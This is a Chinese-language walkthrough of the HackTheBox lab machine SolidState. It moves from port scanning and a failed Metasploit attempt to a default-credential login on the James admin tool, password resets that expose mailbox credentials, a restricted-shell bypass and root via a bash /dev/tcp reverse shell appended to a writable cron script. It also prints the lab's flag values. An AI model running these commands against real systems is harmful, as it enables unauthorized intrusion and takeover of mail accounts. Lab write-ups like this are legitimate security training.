title: HackTheBox-SolidState author: CrazyInSide layout: true categories: HackTheBox cover: https://www.worldisend.com/img/SolidState.png tags:
•Linux
CrazyInSide:~/HackTheBox$ sudo masscan -p1-65535,U:1-65535 --rate 2000 -e tun0 10.10.10.51
[sudo] crazyinside 的密码:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-08-30 06:04:41 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 4555/tcp on 10.10.10.51
Discovered open port 22/tcp on 10.10.10.51
Discovered open port 110/tcp on 10.10.10.51
Discovered open port 25/tcp on 10.10.10.51
Discovered open port 119/tcp on 10.10.10.51
Discovered open port 80/tcp on 10.10.10.51
CrazyInSide:~/HackTheBox$ cat SolidState
# Nmap 7.92SVN scan initiated Tue Aug 30 14:08:28 2022 as: nmap -sC -sV -p4555,22,110,25,119,80 -oN SolidState 10.10.10.51
Nmap scan report for 10.10.10.51
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 770084f578b9c7d354cf712e0d526d8b (RSA)
| 256 78b83af660190691f553921d3f48ed53 (ECDSA)
|_ 256 e445e9ed074d7369435a12709dc4af76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.4 [10.10.16.4])
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp open pop3 JAMES pop3d 2.3.2
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
119/tcp open nntp JAMES nntpd (posting ok)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
4555/tcp open rsip?
| fingerprint-strings:
| GenericLines:
| JAMES Remote Administration Tool 2.3.2
| Please enter your login and password
| Login id:
| Password:
| Login failed for
|_ Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://ParrotOS.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.92SVN%I=7%D=8/30%Time=630DA969%P=x86_64-unknown-linux-
SF:gnu%r(GenericLines,7C,"JAMESx20Remotex20Administrationx20Toolx202.
SF:3.2nPleasex20enterx20yourx20loginx20andx20passwordnLoginx20id:
SF:nPassword:nLoginx20failedx20forx20nLoginx20id:n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://ParrotOS.org/submit/ .
# Nmap done at Tue Aug 30 14:12:35 2022 -- 1 IP address (1 host up) scanned in 246.92 seconds
25端口运行的这个应用:
CrazyInSide:~/HackTheBox$ searchsploit JAMES
------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------ ---------------------------------
Apache James Server 2.2 - SMTP Denial of Service | multiple/dos/27915.pl
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit) | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2) | linux/remote/50347.py
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow | windows/remote/944.c
------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
------------------------------------------------------------------------------------------------------ ---------------------------------
Paper Title | Path
------------------------------------------------------------------------------------------------------ ---------------------------------
Exploiting Apache James Server 2.3.2 | docs/english/40123-exploiting-ap
------------------------------------------------------------------------------------------------------ ---------------------------------
msf6 > search Apache James
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/smtp/apache_james_exec 2015-10-01 normal Yes Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write
1 auxiliary/scanner/http/log4shell_scanner 2021-12-09 normal No Log4Shell HTTP Scanner
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/log4shell_scanner
msf6 > use 0
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/smtp/apache_james_exec) > show options
Module options (exploit/linux/smtp/apache_james_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINPORT 4555 yes Port for James remote administration tool
PASSWORD root yes Root password for James remote administration tool
POP3PORT 110 no Port for POP3 Apache James Service
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 25 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machin
e or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME root yes Root username for James remote administration tool
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Cron
msf6 exploit(linux/smtp/apache_james_exec) >
端口号这些是都对得上的,但是用户名与密码或许不可以。
msf6 exploit(linux/smtp/apache_james_exec) > run
[*] Started reverse TCP handler on 10.10.16.4:4444
[*] 10.10.10.51:25 - Command Stager progress - 100.00% done (833/833 bytes)
[*] 10.10.10.51:25 - Waiting for cron to execute payload...
[*] Exploit completed, but no session was created.
msf6 exploit(linux/smtp/apache_james_exec) >
确实不行。
4555端口浏览器访问把我浏览器里一些HTTP头自动当成输入数据提交了。
CrazyInSide:~/HackTheBox$ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection
root:root明明可以的啊,为啥不成功呢。我可以遍历用户名:
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
把密码都改了,第二个用户名为什么是一个路径我也不知道:
setpassword james crazyinside
Password for james reset
setpassword thomas crazyinside
Password for thomas reset
setpassword john crazyinside
Password for john reset
setpassword mindy crazyinside
Password for mindy reset
setpassword mailadmin crazyinside
Password for mailadmin reset
在mindy邮箱里有两封邮件,其中一封包含一个用户名口令:
CrazyInSide:~/HackTheBox$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mindy
+OK
PASS crazyinside
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome
Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
We are looking forward to you joining our team and your success at Solid State Security.
Respectfully,
James
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James
.
可以被用来登录ssh,但是是限制级的shell:
Message-ID: <8375593.0.1661772097524.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.14.18 ([10.10.14.18])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 632
for <../../../../../../../../etc/bash_completion.d@localhost>;
Mon, 29 Aug 2022 07:20:57 -0400 (EDT)
Date: Mon, 29 Aug 2022 07:20:57 -0400 (EDT)
From: team@team.pl
: No such file or directory
-rbash: $'r': command not found
mindy@solidstate:~$
很好绕:
CrazyInSide:~/HackTheBox$ sshpass -p 'P@55W0rd1!2@' ssh mindy@10.10.10.51 -t bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls
bin user.txt
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cat user.txt
839631b6a847fb2415f9764adb415a7b
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
在/opt/下有一个计划任务脚本,root会定时的去运行该脚本:
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls
james-2.3.2 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('nc 10.10.14.18 4242')
except:
sys.exit()
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -all tmp.py
-rwxrwxrwx 1 root root 111 Aug 29 09:35 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$
并且该脚本是可写的:
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "os.system('bash -c "bash -i >& /dev/tcp/10.10.16.4/1337 0>&1"')">>tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('nc 10.10.14.18 4242')
except:
sys.exit()
os.system('bash -c "bash -i >& /dev/tcp/10.10.16.4/1337 0>&1"')
CrazyInSide:~/HackTheBox$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.51] 57460
bash: cannot set terminal process group (6567): Inappropriate ioctl for device
bash: no job control in this shell
root@solidstate:~# ls
ls
root.txt
root@solidstate:~# cat root.txt
cat root.txt
ad68d5.............................
root@solidstate:~#
原文始发于微信公众号(老鑫安全):HackTheBox-SolidState
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论